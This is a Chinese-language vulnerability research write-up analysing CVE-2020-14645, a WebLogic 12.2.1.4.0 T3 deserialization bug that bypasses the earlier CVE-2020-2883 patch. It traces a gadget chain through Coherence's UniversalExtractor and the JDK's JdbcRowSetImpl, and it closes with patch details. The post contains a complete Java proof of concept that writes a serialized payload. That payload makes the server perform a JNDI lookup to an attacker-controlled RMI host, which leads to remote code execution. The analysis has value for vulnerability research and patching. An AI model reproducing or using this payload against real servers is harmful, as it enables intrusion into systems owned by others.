T3反序列化 Weblogic12.2.1.4.0 JNDI注入挖掘过程(CVE-2020-14645)

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CVE-2020-2883 将 extract 方法存在危险操作的 MvelExtractor 和 ReflectionExtractor 两个类加入到了黑名单中，因此我们只需要继续找一个 extract 方法存在危险操作的类即可绕过补丁，这里找到的是 Weblogic 12.2.1.4.0 Coherence 组件特有的类 com.tangosol.util.extractor.UniversalExtractor，因此只能打 Weblogic 12.2.1.4.x。

漏洞复现

影响范围

Oracle WebLogic Server 12.2.1.4.0

漏洞报告

入口同 CVE-2020-2883，利用 java.util.PriorityQueue 反序列化时会间接调用 com.tangosol.util.ValueExtractor 接口任意实现类的 extract 方法。 在 CVE-2020-2883 中我们可以使用 com.tangosol.coherence.rest.util.extractor.MvelExtractor 的 extract 方法执行mvel表达式或者使用 com.tangosol.util.extractor.ReflectionExtractor 的 extract 方法反射调用任意方法。但是补丁把他们都加入到了黑名单中，因此我们需要再找一个 extract 方法有危险操作且实现了 com.tangosol.util.ValueExtractor 接口的类。 我这里找到的是 com.tangosol.util.extractor.UniversalExtractor

public class UniversalExtractor<T, E> extends AbstractExtractor<T, E> implements ValueExtractor<T, E>, ExternalizableLite, PortableObject {
    public static final String[] BEAN_ACCESSOR_PREFIXES;
    public static final String METHOD_SUFFIX = "()";
    @JsonbProperty("name")
    protected String m_sName;
    @JsonbProperty("params")
    protected Object[] m_aoParam;
    protected transient String m_sNameCanon;
    private transient TargetReflectionDescriptor m_cacheTarget;
    private transient boolean m_fMethod;
    ......
}

看其 extract 方法，虽然if条件中有一个 invoke 操作，但是 this.m_cacheTarget 使用了 transient 修饰导致无法被序列化。跟进else条件中的 extractComplex 方法，该方法中也有一个 invoke 操作，虽然我们可以控制参数  oTarget 和 aoParam ，但是 method 对象的获取过程也有一个if条件。ClassHelper.findMethod 方法通过类、方法名以及方法的参数类型数组来反射返回该类中的特定方法。因此只要我们进入else条件中，即可调用任意类的任意方法。 进入else条件的前提是 this.isPropertyExtractor() 返回false，也就是 this.m_fMethod 为true，但是该成员变量依然使用 transient 修饰，无法序列化，因此我们只能寄希望于if条件中。

public boolean isPropertyExtractor() {
    return !this.m_fMethod;
}

看下if条件

protected E extractComplex(T oTarget) throws InvocationTargetException, IllegalAccessException {
        ......
    String sCName = this.getCanonicalName();
    boolean fProperty = this.isPropertyExtractor();
    Method method = null;
    if (fProperty) {
        String sBeanAttribute = Character.toUpperCase(sCName.charAt(0)) + sCName.substring(1);

        for(int cchPrefix = 0; cchPrefix < BEAN_ACCESSOR_PREFIXES.length && method == null; ++cchPrefix) {
            method = ClassHelper.findMethod(clzTarget, BEAN_ACCESSOR_PREFIXES[cchPrefix] + sBeanAttribute, clzParam, false);
    }else{
      ......
    }
}

跟进 sCName 的赋值过程 this.getCanonicalName() ，因为this对象的原因，Lambdas.getValueExtractorCanonicalName 无论如何都会返回null。 接着看下 CanonicalNames.computeValueExtractorCanonicalName ，如果 aoParam 不为 null 且数组长度大于0就会返回 null ，因此我们可调用的方法必须是无参的。接着如果方法名 sName 不以 () 结尾，则直接返回方法名。否则会判断方法名是否以 VALUE_EXTRACTOR_BEAN_ACCESSOR_PREFIXES 数组中的前缀开头，是的话就会截取掉并返回。 回到 extractComplex 方法中，在if条件里会对上面返回的方法名做首字母大写处理，然后拼接 BEAN_ACCESSOR_PREFIXES 数组中的前缀判断 clzTarget 类中是否含有拼接后的方法，此时会发现我们现在无论如何只能调用任意类中 get 和 is 开头的方法，并且是无参的，条件有些苛刻。 不过仔细观察发现 UniversalExtractor#extract 方法可以调用两次，我们可以利用第一次调用改变 UniversalExtractor 对象的关键成员变量值，在第二次调用时完成利用。 接下来我想了三个思路：

1. 直接去找所有类中 get 和 is 开头并且可利用的无参方法
2. 想办法调用 init 方法对 this.m_fMethod 进行赋值，从而令 fProperty 的值为false并进入else条件中。

3. extractComplex 方法中对 this.m_cacheTarget 进行了赋值，因此我们第二次调用 UniversalExtractor#extract 方法时可以进入到if条件中执行 targetPrev.getMethod().invoke() 。

由于我们只能调用 get 和 is 开头的方法，因此思路2不行。由于我们在利用 targetPrev.getMethod().invoke() 调用任意方法时，传入的参数和 extractComplex 方法中 findMethod 的参数是同一个，导致如果我们调用非 get 和 is 开头的方法时，findMethod 会返回 null ，从而在 method.invoke 时会报错，这样的话就无法第二次调用 UniversalExtractor#extract 方法，因此思路3也不行。 最终只能用思路1去全局搜 get 和 is 开头且存在危险操作的无参方法。虽然只能调用无参方法，但是我们可以通过序列化控制对象的成员变量来获取一些可控点，当然该方法所在的类必须是可序列化的，另外该方法的危险操作涉及到的对象依然需要可序列化，否则无法利用。 这个寻找过程和fastjson有些相似，最终找到了 com.sun.rowset.JdbcRowSetImpl 这个jdk内置类，看下其 getDatabaseMetaData() 方法。 跟进 this.connect() ，可以发现只要 this.getDataSourceName() 可控，我们就能进行JNDI注入。getDataSourceName() 调用的是父类 javax.sql.rowset.BaseRowSet 的，其 dataSource  属性是可序列化的，因此我们可以控制 this.getDataSourceName() 的返回值。

private String dataSource;

最终poc

import java.io.*;
import java.lang.reflect.Field;
import com.sun.rowset.JdbcRowSetImpl;
import com.tangosol.util.comparator.ExtractorComparator;
import java.util.PriorityQueue;
import com.tangosol.util.extractor.UniversalExtractor;
public class Weblogic12_2_1_4_JNDI {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException,  IOException, Exception {

        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName("rmi://vps:1099/xxxx"); //JNDI address
        String m_sName = "getDatabaseMetaData()";
        Object[] m_aoParam = new Object[0];

        UniversalExtractor universalExtractor = new UniversalExtractor(m_sName, m_aoParam,0);

        Object[] innerArr = new Object[2];
        innerArr[0] = jdbcRowSet;
        innerArr[1] = jdbcRowSet;

        ExtractorComparator extractorComparator = new ExtractorComparator(universalExtractor);
        PriorityQueue priorityQueue = new PriorityQueue(2, extractorComparator);

        Field filed =  PriorityQueue.class.getDeclaredField("queue");
        filed.setAccessible(true);
        filed.set(priorityQueue, innerArr);
        Field filed2 =  PriorityQueue.class.getDeclaredField("size");
        filed2.setAccessible(true);
        filed2.set(priorityQueue, 2);

        ser(priorityQueue, "./weblogic_12.2.1.4.0_JNDI.ser");
    }

    public static void ser(Object obj, String serName) throws IOException {
        File file = new File(serName);
        ObjectOutputStream oos = new ObjectOutputStream(new DataOutputStream(new FileOutputStream(file)));
        oos.writeObject(obj);
        System.out.println("-------序列化成功" + serName);
    }

}

由于Weblogic在JEP290机制下做的是全局反序列化过滤，而JNDI在jdk高版本依赖于本地Class的反序列化链，因此在Weblogic中JNDI注入只能打 JDK6u211、7u201、8u191 之前的版本。

漏洞修复

p31537019_122140_Generic.zip：https://updates.oracle.com/Orion/Services/download/p31537019_122140_Generic.zip?aru=23654622&patch_file=p31537019_122140_Generic.zip 可以看到最新补丁的黑名单中不仅过滤了 com.tangosol.util.extractor.UniversalExtractor ，还过滤了 com.tangosol.util.extractor 包下的其他几个类，另外也把com.tangosol.coherence.rest.util.extractor、com.tangosol.internal.util.invoke.lambda  等一些包加入了黑名单中。